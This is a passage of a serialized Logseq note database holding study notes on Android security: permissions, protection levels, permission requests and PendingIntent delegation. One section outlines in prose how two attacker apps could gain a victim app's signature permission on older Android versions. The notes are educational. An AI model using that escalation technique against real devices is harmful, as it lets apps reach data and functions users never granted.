componentslogseq____",536871489]],[logseq____"^15logseq____",[360,logseq____"^Ologseq____",logseq____"^16logseq____",536871463]],[logseq____"^15logseq____",[360,logseq____"^@logseq____",false,536871463]],[logseq____"^15logseq____",[360,logseq____"^Flogseq____",480,536873242]],[logseq____"^15logseq____",[360,logseq____"^Xlogseq____",354,536871463]],[logseq____"^15logseq____",[360,logseq____"^Vlogseq____",355,536871463]],[logseq____"^15logseq____",[360,logseq____"^Ulogseq____",2,536871464]],[logseq____"^15logseq____",[360,logseq____"^Ulogseq____",38,536871464]],[logseq____"^15logseq____",[360,logseq____"^Ulogseq____",354,536871464]],[logseq____"^15logseq____",[360,logseq____"^;logseq____",logseq____"~u67b844f9-c3e8-4916-9285-05a50b6fb43blogseq____",536871463]],[logseq____"^15logseq____",[361,logseq____"^Qlogseq____",logseq____"Specified in the [application manifest](((67b84538-73b2-4c51-90af-1b08f4e95071)))logseq____",536871627]],[logseq____"^15logseq____",[361,logseq____"^Ologseq____",logseq____"^16logseq____",536871480]],[logseq____"^15logseq____",[361,logseq____"^@logseq____",false,536871480]],[logseq____"^15logseq____",[361,logseq____"^Flogseq____",360,536871480]],[logseq____"^15logseq____",[361,logseq____"^Xlogseq____",354,536871480]],[logseq____"^15logseq____",[361,logseq____"^Vlogseq____",355,536871480]],[logseq____"^15logseq____",[361,logseq____"^Ulogseq____",2,536871628]],[logseq____"^15logseq____",[361,logseq____"^Ulogseq____",38,536871628]],[logseq____"^15logseq____",[361,logseq____"^Ulogseq____",354,536871628]],[logseq____"^15logseq____",[361,logseq____"^Ulogseq____",362,536871628]],[logseq____"^15logseq____",[361,logseq____"^Hlogseq____",362,536873242]],[logseq____"^15logseq____",[361,logseq____"^;logseq____",logseq____"~u67b84504-2395-4c0a-abcf-f2e3075f664alogseq____",536871480]],[logseq____"^15logseq____",[362,logseq____"^Qlogseq____",logseq____"### Permissions\\nid:: 67b84538-73b2-4c51-90af-1b08f4e95071logseq____",536871596]],[logseq____"^15logseq____",[362,logseq____"^Ologseq____",logseq____"^16logseq____",536871494]],[logseq____"^15logseq____",[362,logseq____"^Flogseq____",92,536871498]],[logseq____"^15logseq____",[362,logseq____"^Xlogseq____",28,536871494]],[logseq____"^15logseq____",[362,logseq____"^Vlogseq____",90,536871498]],[logseq____"^15logseq____",[362,logseq____"^Ulogseq____",2,536871495]],[logseq____"^15logseq____",[362,logseq____"^Ulogseq____",24,536871495]],[logseq____"^15logseq____",[362,logseq____"^Ulogseq____",28,536871495]],[logseq____"^15logseq____",[362,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^18logseq____",logseq____"67b84538-73b2-4c51-90af-1b08f4e95071logseq____",logseq____"^17logseq____",3],536873236]],[logseq____"^15logseq____",[362,logseq____"^Jlogseq____",[logseq____"^18logseq____"],536873236]],[logseq____"^15logseq____",[362,logseq____"^4logseq____",[logseq____"^ logseq____",logseq____"^18logseq____",logseq____"67b84538-73b2-4c51-90af-1b08f4e95071logseq____"],536873236]],[logseq____"^15logseq____",[362,logseq____"^;logseq____",logseq____"~u67b84538-73b2-4c51-90af-1b08f4e95071logseq____",536871494]],[logseq____"^15logseq____",[363,logseq____"^Qlogseq____",logseq____"Permissions can be requested, e.g,. `logseq____<uses-permission android:name=\\logseq____"android.permission.READ_CONTACTS\\logseq____"logseq____>logseq____</uses-permissionlogseq____>`logseq____",536871533]],[logseq____"^15logseq____",[363,logseq____"^Ologseq____",logseq____"^16logseq____",536871501]],[logseq____"^15logseq____",[363,logseq____"^Flogseq____",362,536871501]],[logseq____"^15logseq____",[363,logseq____"^Xlogseq____",28,536871501]],[logseq____"^15logseq____",[363,logseq____"^Vlogseq____",362,536871503]],[logseq____"^15logseq____",[363,logseq____"^Ulogseq____",2,536871597]],[logseq____"^15logseq____",[363,logseq____"^Ulogseq____",24,536871597]],[logseq____"^15logseq____",[363,logseq____"^Ulogseq____",28,536871597]],[logseq____"^15logseq____",[363,logseq____"^;logseq____",logseq____"~u67b84541-ab6a-44b9-8b98-7f1252c7d841logseq____",536871501]],[logseq____"^15logseq____",[364,logseq____"^Qlogseq____",logseq____"Protect own, exported services via custom permissions (have to be defined in `permission` block and then referenced in the `service` blocklogseq____",536871584]],[logseq____"^15logseq____",[364,logseq____"^Ologseq____",logseq____"^16logseq____",536871529]],[logseq____"^15logseq____",[364,logseq____"^Flogseq____",363,536871529]],[logseq____"^15logseq____",[364,logseq____"^Xlogseq____",28,536871529]],[logseq____"^15logseq____",[364,logseq____"^Vlogseq____",362,536871529]],[logseq____"^15logseq____",[364,logseq____"^Ulogseq____",2,536871597]],[logseq____"^15logseq____",[364,logseq____"^Ulogseq____",24,536871597]],[logseq____"^15logseq____",[364,logseq____"^Ulogseq____",28,536871597]],[logseq____"^15logseq____",[364,logseq____"^;logseq____",logseq____"~u67b84570-3af3-4d56-bb90-ec44185f1e67logseq____",536871529]],[logseq____"^15logseq____",[367,logseq____"^Qlogseq____",logseq____"## Protection Levels #card #security-architecturelogseq____",536871644]],[logseq____"^15logseq____",[367,logseq____"^Ologseq____",logseq____"^16logseq____",536871633]],[logseq____"^15logseq____",[367,logseq____"^@logseq____",false,536871633]],[logseq____"^15logseq____",[367,logseq____"^Flogseq____",355,536871635]],[logseq____"^15logseq____",[367,logseq____"^Xlogseq____",354,536871633]],[logseq____"^15logseq____",[367,logseq____"^Vlogseq____",354,536871635]],[logseq____"^15logseq____",[367,logseq____"^Ulogseq____",2,536871645]],[logseq____"^15logseq____",[367,logseq____"^Ulogseq____",38,536871645]],[logseq____"^15logseq____",[367,logseq____"^Ulogseq____",354,536871645]],[logseq____"^15logseq____",[367,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536873242]],[logseq____"^15logseq____",[367,logseq____"^Jlogseq____",[],536873242]],[logseq____"^15logseq____",[367,logseq____"^Hlogseq____",2,536873242]],[logseq____"^15logseq____",[367,logseq____"^Hlogseq____",38,536873242]],[logseq____"^15logseq____",[367,logseq____"^;logseq____",logseq____"~u67b8464f-b477-4726-bece-a8be8f7a1a12logseq____",536871633]],[logseq____"^15logseq____",[368,logseq____"^Qlogseq____",logseq____"*Normal*(default): low-risk permission, i.e., *no danger* to the system integrity or end-user; does not require end-user approvallogseq____",536871742]],[logseq____"^15logseq____",[368,logseq____"^Ologseq____",logseq____"^16logseq____",536871644]],[logseq____"^15logseq____",[368,logseq____"^@logseq____",false,536871644]],[logseq____"^15logseq____",[368,logseq____"^Flogseq____",367,536871644]],[logseq____"^15logseq____",[368,logseq____"^Xlogseq____",354,536871644]],[logseq____"^15logseq____",[368,logseq____"^Vlogseq____",367,536871646]],[logseq____"^15logseq____",[368,logseq____"^Ulogseq____",2,536871647]],[logseq____"^15logseq____",[368,logseq____"^Ulogseq____",38,536871647]],[logseq____"^15logseq____",[368,logseq____"^Ulogseq____",354,536871647]],[logseq____"^15logseq____",[368,logseq____"^;logseq____",logseq____"~u67b84659-fba7-4ae7-a7b2-82f8230eb6balogseq____",536871644]],[logseq____"^15logseq____",[369,logseq____"^Qlogseq____",logseq____"*Dangerous*: Access to *system integrity*/*privacy* *compromising* functions/data (user has to grant approval)logseq____",536871757]],[logseq____"^15logseq____",[369,logseq____"^Ologseq____",logseq____"^16logseq____",536871676]],[logseq____"^15logseq____",[369,logseq____"^@logseq____",false,536871676]],[logseq____"^15logseq____",[369,logseq____"^Flogseq____",368,536871676]],[logseq____"^15logseq____",[369,logseq____"^Xlogseq____",354,536871676]],[logseq____"^15logseq____",[369,logseq____"^Vlogseq____",367,536871676]],[logseq____"^15logseq____",[369,logseq____"^Ulogseq____",2,536871677]],[logseq____"^15logseq____",[369,logseq____"^Ulogseq____",38,536871677]],[logseq____"^15logseq____",[369,logseq____"^Ulogseq____",354,536871677]],[logseq____"^15logseq____",[369,logseq____"^;logseq____",logseq____"~u67b8469b-9a46-417f-aff3-b05115cd63adlogseq____",536871676]],[logseq____"^15logseq____",[370,logseq____"^Qlogseq____",logseq____"*Signature*: Requesting and permission defining application have to be signed using the *same developer certificate* (no end-user approval)logseq____",536871836]],[logseq____"^15logseq____",[370,logseq____"^Ologseq____",logseq____"^16logseq____",536871760]],[logseq____"^15logseq____",[370,logseq____"^@logseq____",false,536871760]],[logseq____"^15logseq____",[370,logseq____"^Flogseq____",369,536871760]],[logseq____"^15logseq____",[370,logseq____"^Xlogseq____",354,536871760]],[logseq____"^15logseq____",[370,logseq____"^Vlogseq____",367,536871760]],[logseq____"^15logseq____",[370,logseq____"^Ulogseq____",2,536871761]],[logseq____"^15logseq____",[370,logseq____"^Ulogseq____",38,536871761]],[logseq____"^15logseq____",[370,logseq____"^Ulogseq____",354,536871761]],[logseq____"^15logseq____",[370,logseq____"^;logseq____",logseq____"~u67b846de-e2b8-4e3a-80b7-94ae1be32d8elogseq____",536871760]],[logseq____"^15logseq____",[371,logseq____"^Qlogseq____",logseq____"## Privilege Escalation on Earlier Android Versionslogseq____",536871921]],[logseq____"^15logseq____",[371,logseq____"^Ologseq____",logseq____"^16logseq____",536871837]],[logseq____"^15logseq____",[371,logseq____"^@logseq____",false,536871837]],[logseq____"^15logseq____",[371,logseq____"^Flogseq____",367,536871843]],[logseq____"^15logseq____",[371,logseq____"^Xlogseq____",354,536871837]],[logseq____"^15logseq____",[371,logseq____"^Vlogseq____",354,536871843]],[logseq____"^15logseq____",[371,logseq____"^Ulogseq____",354,536871844]],[logseq____"^15logseq____",[371,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536873242]],[logseq____"^15logseq____",[371,logseq____"^Jlogseq____",[],536873242]],[logseq____"^15logseq____",[371,logseq____"^;logseq____",logseq____"~u67b8472e-0f28-48ec-8c5f-267649818c08logseq____",536871837]],[logseq____"^15logseq____",[372,logseq____"^Qlogseq____",logseq____"~`knownSigner` flag (logseq____>= Android 12): relaxes signatures to any *known certificate*logseq____",536871875]],[logseq____"^15logseq____",[372,logseq____"^Ologseq____",logseq____"^16logseq____",536871847]],[logseq____"^15logseq____",[372,logseq____"^@logseq____",false,536871847]],[logseq____"^15logseq____",[372,logseq____"^Flogseq____",370,536871847]],[logseq____"^15logseq____",[372,logseq____"^Xlogseq____",354,536871847]],[logseq____"^15logseq____",[372,logseq____"^Vlogseq____",370,536871849]],[logseq____"^15logseq____",[372,logseq____"^Ulogseq____",2,536871848]],[logseq____"^15logseq____",[372,logseq____"^Ulogseq____",38,536871848]],[logseq____"^15logseq____",[372,logseq____"^Ulogseq____",354,536871848]],[logseq____"^15logseq____",[372,logseq____"^;logseq____",logseq____"~u67b8480e-36af-4405-9de6-836593925e29logseq____",536871847]],[logseq____"^15logseq____",[373,logseq____"^Qlogseq____",logseq____"~`knownCerts`attribute refers to explicit signing certifiacelogseq____",536871906]],[logseq____"^15logseq____",[373,logseq____"^Ologseq____",logseq____"^16logseq____",536871878]],[logseq____"^15logseq____",[373,logseq____"^@logseq____",false,536871878]],[logseq____"^15logseq____",[373,logseq____"^Flogseq____",372,536871878]],[logseq____"^15logseq____",[373,logseq____"^Xlogseq____",354,536871878]],[logseq____"^15logseq____",[373,logseq____"^Vlogseq____",370,536871878]],[logseq____"^15logseq____",[373,logseq____"^Ulogseq____",2,536871879]],[logseq____"^15logseq____",[373,logseq____"^Ulogseq____",38,536871879]],[logseq____"^15logseq____",[373,logseq____"^Ulogseq____",354,536871879]],[logseq____"^15logseq____",[373,logseq____"^;logseq____",logseq____"~u67b84850-e782-4a25-8ff4-9103d1295163logseq____",536871878]],[logseq____"^15logseq____",[374,logseq____"^Qlogseq____",logseq____"Signature verification only during installationlogseq____",536871937]],[logseq____"^15logseq____",[374,logseq____"^Ologseq____",logseq____"^16logseq____",536871924]],[logseq____"^15logseq____",[374,logseq____"^@logseq____",false,536871924]],[logseq____"^15logseq____",[374,logseq____"^Flogseq____",371,536871924]],[logseq____"^15logseq____",[374,logseq____"^Xlogseq____",354,536871924]],[logseq____"^15logseq____",[374,logseq____"^Vlogseq____",371,536871926]],[logseq____"^15logseq____",[374,logseq____"^Ulogseq____",354,536871925]],[logseq____"^15logseq____",[374,logseq____"^;logseq____",logseq____"~u67b8491e-2b84-447e-aae2-7caefe1fccd1logseq____",536871924]],[logseq____"^15logseq____",[375,logseq____"^Qlogseq____",logseq____"Attacker App1 defines \\logseq____"dangerous\\logseq____" permission (same name as signature permission of victim app)logseq____",536871972]],[logseq____"^15logseq____",[375,logseq____"^Ologseq____",logseq____"^16logseq____",536871937]],[logseq____"^15logseq____",[375,logseq____"^@logseq____",false,536871937]],[logseq____"^15logseq____",[375,logseq____"^Flogseq____",374,536871937]],[logseq____"^15logseq____",[375,logseq____"^Xlogseq____",354,536871937]],[logseq____"^15logseq____",[375,logseq____"^Vlogseq____",371,536871937]],[logseq____"^15logseq____",[375,logseq____"^Ulogseq____",354,536871938]],[logseq____"^15logseq____",[375,logseq____"^;logseq____",logseq____"~u67b8493b-1c1e-418d-9479-27511c45d7b1logseq____",536871937]],[logseq____"^15logseq____",[376,logseq____"^Qlogseq____",logseq____"Attacker App2 requests this permissionlogseq____",536871982]],[logseq____"^15logseq____",[376,logseq____"^Ologseq____",logseq____"^16logseq____",536871975]],[logseq____"^15logseq____",[376,logseq____"^@logseq____",false,536871975]],[logseq____"^15logseq____",[376,logseq____"^Flogseq____",375,536871975]],[logseq____"^15logseq____",[376,logseq____"^Xlogseq____",354,536871975]],[logseq____"^15logseq____",[376,logseq____"^Vlogseq____",371,536871975]],[logseq____"^15logseq____",[376,logseq____"^Ulogseq____",354,536871976]],[logseq____"^15logseq____",[376,logseq____"^;logseq____",logseq____"~u67b8495b-f5fe-4493-b253-d593a603f838logseq____",536871975]],[logseq____"^15logseq____",[377,logseq____"^Qlogseq____",logseq____"Attacker App1 removes permission definitionlogseq____",536872001]],[logseq____"^15logseq____",[377,logseq____"^Ologseq____",logseq____"^16logseq____",536871982]],[logseq____"^15logseq____",[377,logseq____"^@logseq____",false,536871982]],[logseq____"^15logseq____",[377,logseq____"^Flogseq____",376,536871982]],[logseq____"^15logseq____",[377,logseq____"^Xlogseq____",354,536871982]],[logseq____"^15logseq____",[377,logseq____"^Vlogseq____",371,536871982]],[logseq____"^15logseq____",[377,logseq____"^Ulogseq____",354,536871983]],[logseq____"^15logseq____",[377,logseq____"^;logseq____",logseq____"~u67b84962-4c2f-4283-8fb6-d51dadc2b5d7logseq____",536871982]],[logseq____"^15logseq____",[378,logseq____"^Qlogseq____",logseq____"Install victim applogseq____",536872023]],[logseq____"^15logseq____",[378,logseq____"^Ologseq____",logseq____"^16logseq____",536872004]],[logseq____"^15logseq____",[378,logseq____"^@logseq____",false,536872004]],[logseq____"^15logseq____",[378,logseq____"^Flogseq____",377,536872004]],[logseq____"^15logseq____",[378,logseq____"^Xlogseq____",354,536872004]],[logseq____"^15logseq____",[378,logseq____"^Vlogseq____",371,536872004]],[logseq____"^15logseq____",[378,logseq____"^Ulogseq____",354,536872005]],[logseq____"^15logseq____",[378,logseq____"^;logseq____",logseq____"~u67b8496f-1502-4082-a2f7-ac64b1f4625elogseq____",536872004]],[logseq____"^15logseq____",[379,logseq____"^Qlogseq____",logseq____"Attacker App2 holds successful signature permissionlogseq____",536872042]],[logseq____"^15logseq____",[379,logseq____"^Ologseq____",logseq____"^16logseq____",536872026]],[logseq____"^15logseq____",[379,logseq____"^@logseq____",false,536872026]],[logseq____"^15logseq____",[379,logseq____"^Flogseq____",378,536872026]],[logseq____"^15logseq____",[379,logseq____"^Xlogseq____",354,536872026]],[logseq____"^15logseq____",[379,logseq____"^Vlogseq____",371,536872026]],[logseq____"^15logseq____",[379,logseq____"^Ulogseq____",354,536872027]],[logseq____"^15logseq____",[379,logseq____"^;logseq____",logseq____"~u67b84982-1167-43c2-b3da-4dd4e2766e53logseq____",536872026]],[logseq____"^15logseq____",[380,logseq____"^Qlogseq____",logseq____"## Install-Time Permissionslogseq____",536872061]],[logseq____"^15logseq____",[380,logseq____"^Ologseq____",logseq____"^16logseq____",536872045]],[logseq____"^15logseq____",[380,logseq____"^@logseq____",false,536872045]],[logseq____"^15logseq____",[380,logseq____"^Flogseq____",371,536872049]],[logseq____"^15logseq____",[380,logseq____"^Xlogseq____",354,536872045]],[logseq____"^15logseq____",[380,logseq____"^Vlogseq____",354,536872049]],[logseq____"^15logseq____",[380,logseq____"^Ulogseq____",354,536872046]],[logseq____"^15logseq____",[380,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536873242]],[logseq____"^15logseq____",[380,logseq____"^Jlogseq____",[],536873242]],[logseq____"^15logseq____",[380,logseq____"^;logseq____",logseq____"~u67b849d5-1c4d-42c2-8b5c-2ef3f0858467logseq____",536872045]],[logseq____"^15logseq____",[381,logseq____"^Qlogseq____",logseq____"Pre-Android 6 users had to grant permissions on installlogseq____",536872098]],[logseq____"^15logseq____",[381,logseq____"^Ologseq____",logseq____"^16logseq____",536872061]],[logseq____"^15logseq____",[381,logseq____"^@logseq____",false,536872061]],[logseq____"^15logseq____",[381,logseq____"^Flogseq____",380,536872061]],[logseq____"^15logseq____",[381,logseq____"^Xlogseq____",354,536872061]],[logseq____"^15logseq____",[381,logseq____"^Vlogseq____",380,536872063]],[logseq____"^15logseq____",[381,logseq____"^Ulogseq____",354,536872062]],[logseq____"^15logseq____",[381,logseq____"^;logseq____",logseq____"~u67b849de-6939-4f3f-a540-99403d8b4b69logseq____",536872061]],[logseq____"^15logseq____",[382,logseq____"^Qlogseq____",logseq____"Studies revealed little to no users paid attention to permissions or fully comprehended themlogseq____",536872121]],[logseq____"^15logseq____",[382,logseq____"^Ologseq____",logseq____"^16logseq____",536872098]],[logseq____"^15logseq____",[382,logseq____"^@logseq____",false,536872098]],[logseq____"^15logseq____",[382,logseq____"^Flogseq____",381,536872098]],[logseq____"^15logseq____",[382,logseq____"^Xlogseq____",354,536872098]],[logseq____"^15logseq____",[382,logseq____"^Vlogseq____",380,536872098]],[logseq____"^15logseq____",[382,logseq____"^Ulogseq____",354,536872099]],[logseq____"^15logseq____",[382,logseq____"^;logseq____",logseq____"~u67b849f8-de67-4908-a37d-e39df47c611flogseq____",536872098]],[logseq____"^15logseq____",[383,logseq____"^Qlogseq____",logseq____"Keep permission requests to a minimum and rather inform about risks than underlying resourceslogseq____",536872144]],[logseq____"^15logseq____",[383,logseq____"^Ologseq____",logseq____"^16logseq____",536872128]],[logseq____"^15logseq____",[383,logseq____"^@logseq____",false,536872128]],[logseq____"^15logseq____",[383,logseq____"^Flogseq____",382,536872128]],[logseq____"^15logseq____",[383,logseq____"^Xlogseq____",354,536872128]],[logseq____"^15logseq____",[383,logseq____"^Vlogseq____",380,536872128]],[logseq____"^15logseq____",[383,logseq____"^Ulogseq____",354,536872129]],[logseq____"^15logseq____",[383,logseq____"^;logseq____",logseq____"~u67b84b2b-07f7-44d3-b43e-14331feb5503logseq____",536872128]],[logseq____"^15logseq____",[384,logseq____"^Qlogseq____",logseq____"## Requesting Permissionslogseq____",536872178]],[logseq____"^15logseq____",[384,logseq____"^Ologseq____",logseq____"^16logseq____",536872145]],[logseq____"^15logseq____",[384,logseq____"^@logseq____",false,536872145]],[logseq____"^15logseq____",[384,logseq____"^Flogseq____",380,536872151]],[logseq____"^15logseq____",[384,logseq____"^Xlogseq____",354,536872145]],[logseq____"^15logseq____",[384,logseq____"^Vlogseq____",354,536872151]],[logseq____"^15logseq____",[384,logseq____"^Ulogseq____",354,536872146]],[logseq____"^15logseq____",[384,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536873242]],[logseq____"^15logseq____",[384,logseq____"^Jlogseq____",[],536873242]],[logseq____"^15logseq____",[384,logseq____"^;logseq____",logseq____"~u67b84b41-ac33-424b-bf94-7bb6b0ab758dlogseq____",536872145]],[logseq____"^15logseq____",[385,logseq____"^Qlogseq____",logseq____"Divide into different types (Critical logseq____<-logseq____> Seconary, Unclear logseq____<-logseq____> Clear)logseq____",536872216]],[logseq____"^15logseq____",[385,logseq____"^Ologseq____",logseq____"^16logseq____",536872158]],[logseq____"^15logseq____",[385,logseq____"^@logseq____",false,536872158]],[logseq____"^15logseq____",[385,logseq____"^Flogseq____",384,536872158]],[logseq____"^15logseq____",[385,logseq____"^Xlogseq____",354,536872158]],[logseq____"^15logseq____",[385,logseq____"^Vlogseq____",384,536872164]],[logseq____"^15logseq____",[385,logseq____"^Ulogseq____",354,536872179]],[logseq____"^15logseq____",[385,logseq____"^;logseq____",logseq____"~u67b84b49-18ad-47df-bc4d-b3c9a80e2449logseq____",536872158]],[logseq____"^15logseq____",[386,logseq____"^Qlogseq____",logseq____"Give *rationales* if permission requests are deniedlogseq____",536872274]],[logseq____"^15logseq____",[386,logseq____"^Ologseq____",logseq____"^16logseq____",536872191]],[logseq____"^15logseq____",[386,logseq____"^@logseq____",false,536872191]],[logseq____"^15logseq____",[386,logseq____"^Flogseq____",387,536872217]],[logseq____"^15logseq____",[386,logseq____"^Xlogseq____",354,536872191]],[logseq____"^15logseq____",[386,logseq____"^Vlogseq____",384,536872191]],[logseq____"^15logseq____",[386,logseq____"^Ulogseq____",354,536872192]],[logseq____"^15logseq____",[386,logseq____"^;logseq____",logseq____"~u67b84bb6-e410-4009-b8ea-12c9e0009bf5logseq____",536872191]],[logseq____"^15logseq____",[387,logseq____"^Qlogseq____",logseq____"Request types: \\logseq____"Educate up-front\\logseq____", \\logseq____"Ask up-front\\logseq____", \\logseq____"Educate in context\\logseq____", \\logseq____"Ask in Context\\logseq____")logseq____",536872265]],[logseq____"^15logseq____",[387,logseq____"^Ologseq____",logseq____"^16logseq____",536872217]],[logseq____"^15logseq____",[387,logseq____"^@logseq____",false,536872217]],[logseq____"^15logseq____",[387,logseq____"^Flogseq____",385,536872217]],[logseq____"^15logseq____",[387,logseq____"^Xlogseq____",354,536872217]],[logseq____"^15logseq____",[387,logseq____"^Vlogseq____",384,536872217]],[logseq____"^15logseq____",[387,logseq____"^Ulogseq____",354,536872218]],[logseq____"^15logseq____",[387,logseq____"^;logseq____",logseq____"~u67b84bf6-06d1-4454-8d59-bdb29e8ea29dlogseq____",536872217]],[logseq____"^15logseq____",[388,logseq____"^Qlogseq____",logseq____"*One-Time permissions* (logseq____>= Android 10 only location; logseq____>= Android 11 location, microphone, camera)logseq____",536872360]],[logseq____"^15logseq____",[388,logseq____"^Ologseq____",logseq____"^16logseq____",536872275]],[logseq____"^15logseq____",[388,logseq____"^@logseq____",false,536872275]],[logseq____"^15logseq____",[388,logseq____"^Flogseq____",386,536872275]],[logseq____"^15logseq____",[388,logseq____"^Xlogseq____",354,536872275]],[logseq____"^15logseq____",[388,logseq____"^Vlogseq____",384,536872275]],[logseq____"^15logseq____",[388,logseq____"^Ulogseq____",354,536872276]],[logseq____"^15logseq____",[388,logseq____"^;logseq____",logseq____"~u67b84cda-e742-4f91-98dd-06697b2427d8logseq____",536872275]],[logseq____"^15logseq____",[389,logseq____"^Qlogseq____",logseq____"*Privacy Dashboard* (logseq____>= Android 12): Shows which app requested which permissions when (can be customized with an activity)logseq____",536872376]],[logseq____"^15logseq____",[389,logseq____"^Ologseq____",logseq____"^16logseq____",536872332]],[logseq____"^15logseq____",[389,logseq____"^@logseq____",false,536872332]],[logseq____"^15logseq____",[389,logseq____"^Flogseq____",388,536872332]],[logseq____"^15logseq____",[389,logseq____"^Xlogseq____",354,536872332]],[logseq____"^15logseq____",[389,logseq____"^Vlogseq____",384,536872332]],[logseq____"^15logseq____",[389,logseq____"^Ulogseq____",354,536872333]],[logseq____"^15logseq____",[389,logseq____"^;logseq____",logseq____"~u67b84fa2-91e5-4e5a-bccc-04a63bba1843logseq____",536872332]],[logseq____"^15logseq____",[390,logseq____"^Qlogseq____",logseq____"## Permission Delegationlogseq____",536872389]],[logseq____"^15logseq____",[390,logseq____"^Ologseq____",logseq____"^16logseq____",536872379]],[logseq____"^15logseq____",[390,logseq____"^@logseq____",false,536872379]],[logseq____"^15logseq____",[390,logseq____"^Flogseq____",384,536872383]],[logseq____"^15logseq____",[390,logseq____"^Xlogseq____",354,536872379]],[logseq____"^15logseq____",[390,logseq____"^Vlogseq____",354,536872383]],[logseq____"^15logseq____",[390,logseq____"^Ulogseq____",354,536872380]],[logseq____"^15logseq____",[390,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536873242]],[logseq____"^15logseq____",[390,logseq____"^Jlogseq____",[],536873242]],[logseq____"^15logseq____",[390,logseq____"^;logseq____",logseq____"~u67b851e8-ec19-48ee-a483-8fafbf6142bblogseq____",536872379]],[logseq____"^15logseq____",[391,logseq____"^Qlogseq____",logseq____"[Content Providers]([[Content Provider]]) can restrict URI access per subpathslogseq____",536873242]],[logseq____"^15logseq____",[391,logseq____"^Ologseq____",logseq____"^16logseq____",536872389]],[logseq____"^15logseq____",[391,logseq____"^@logseq____",false,536872389]],[logseq____"^15logseq____",[391,logseq____"^Flogseq____",390,536872389]],[logseq____"^15logseq____",[391,logseq____"^Xlogseq____",354,536872389]],[logseq____"^15logseq____",[391,logseq____"^Vlogseq____",390,536872391]],[logseq____"^15logseq____",[391,logseq____"^Ulogseq____",25,536872412]],[logseq____"^15logseq____",[391,logseq____"^Ulogseq____",354,536872412]],[logseq____"^15logseq____",[391,logseq____"^Ulogseq____",412,536873242]],[logseq____"^15logseq____",[391,logseq____"^Hlogseq____",412,536873242]],[logseq____"^15logseq____",[391,logseq____"^;logseq____",logseq____"~u67b851ed-4c88-44b2-8787-0d6e898a1264logseq____",536872389]],[logseq____"^15logseq____",[394,logseq____"^Qlogseq____",logseq____"*PendingIntent*: Create [[Intent Messages]] to hand to other applications (delegate *permissions* and *identities* to different application): *prefil sensitive fields* (action string, component, etc.) or trust sending applicationlogseq____",536872788]],[logseq____"^15logseq____",[394,logseq____"^Ologseq____",logseq____"^16logseq____",536872540]],[logseq____"^15logseq____",[394,logseq____"^@logseq____",false,536872540]],[logseq____"^15logseq____",[394,logseq____"^Flogseq____",395,536872688]],[logseq____"^15logseq____",[394,logseq____"^Xlogseq____",354,536872540]],[logseq____"^15logseq____",[394,logseq____"^Vlogseq____",390,536872688]],[logseq____"^15logseq____",[394,logseq____"^Ulogseq____",75,536872695]],[logseq____"^15logseq____",[394,logseq____"^Ulogseq____",354,536872695]],[logseq____"^15logseq____",[394,logseq____"^Hlogseq____",75,536873242]],[logseq____"^15logseq____",[394,logseq____"^;logseq____",logseq____"~u67b8529a-3f67-4e5c-9cee-b60fd942c5d1logseq____",536872540]],[logseq____"^15logseq____",[395,logseq____"^Qlogseq____",logseq____"Implementing [PoLP](((67b73cc0-6cc9-4099-81fe-fb696e04c2e6))) by delegating certain actions to different applications, e.g., mail application calls file viewer to open attachment (gives access to specific attachment, not all data)logseq____",536872611]],[logseq____"^15logseq____",[395,logseq____"^Ologseq____",logseq____"^16logseq____",536872544]],[logseq____"^15logseq____",[395,logseq____"^@logseq____",false,536872544]],[logseq____"^15logseq____",[395,logseq____"^Flogseq____",391,536872544]],[logseq____"^15logseq____",[395,logseq____"^Xlogseq____",354,536872544]],[logseq____"^15logseq____",[395,logseq____"^Vlogseq____",390,536872544]],[logseq____"^15logseq____",[395,logseq____"^Ulogseq____",234,536872580]],[logseq____"^15logseq____",[395,logseq____"^Ulogseq____",354,536872580]],[logseq____"^15logseq____",[395,logseq____"^Hlogseq____",234,536873242]],[logseq____"^15logseq____",[395,logseq____"^;logseq____",logseq____"~u67b852c5-f41c-4107-9cfb-175ae7d16d98logseq____",536872544]],[logseq____"^15logseq____",[398,logseq____"^Qlogseq____",logseq____"## Pending Intent\\nid:: 67b85581-3a7d-4f14-ae8e-16b0f60c05b3logseq____",536873117]],[logseq____"^15logseq____",[398,logseq____"^Ologseq____",logseq____"^16logseq____",536872792]],[logseq____"^15logseq____",[398,logseq____"^Flogseq____",124,536872792]],[logseq____"^15logseq____",[398,logseq____"^Xlogseq____",75,536872792]],[logseq____"^15logseq____",[398,logseq____"^Vlogseq____",75,536872792]],[logseq____"^15logseq____",[398,logseq____"^Ulogseq____",75,536872793]],[logseq____"^15logseq____",[398,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^18logseq____",logseq____"67b85581-3a7d-4f14-ae8e-16b0f60c05b3logseq____",logseq____"^17logseq____",2],536873239]],[logseq____"^15logseq____",[398,logseq____"^Jlogseq____",[logseq____"^18logseq____"],536873239]],[logseq____"^15logseq____",[398,logseq____"^4logseq____",[logseq____"^ logseq____",logseq____"^18logseq____",logseq____"67b85581-3a7d-4f14-ae8e-16b0f60c05b3logseq____"],536873239]],[logseq____"^15logseq____",[398,logseq____"^;logseq____",logseq____"~u67b85581-3a7d-4f14-ae8e-16b0f60c05b3logseq____",536872792]],[logseq____"^15logseq____",[399,logseq____"^Qlogseq____",logseq____"Object wrapper around and Intent.logseq____",536872825]],[logseq____"^15logseq____",[399,logseq____"^Ologseq____",logseq____"^16logseq____",536872805]],[logseq____"^15logseq____",[399,logseq____"^Flogseq____",398,536872805]],[logseq____"^15logseq____",[399,logseq____"^Xlogseq____",75,536872805]],[logseq____"^15logseq____",[399,logseq____"^Vlogseq____",398,536872809]],[logseq____"^15logseq____",[399,logseq____"^Ulogseq____",75,536873118]],[logseq____"^15logseq____",[399,logseq____"^;logseq____",logseq____"~u67b8558a-1966-42a6-8aea-b152a384aceelogseq____",536872805]],[logseq____"^15logseq____",[400,logseq____"^Qlogseq____",logseq____"Grant permission to a foreign application to use the contained Intent as if it were executed from applogseq____'s own 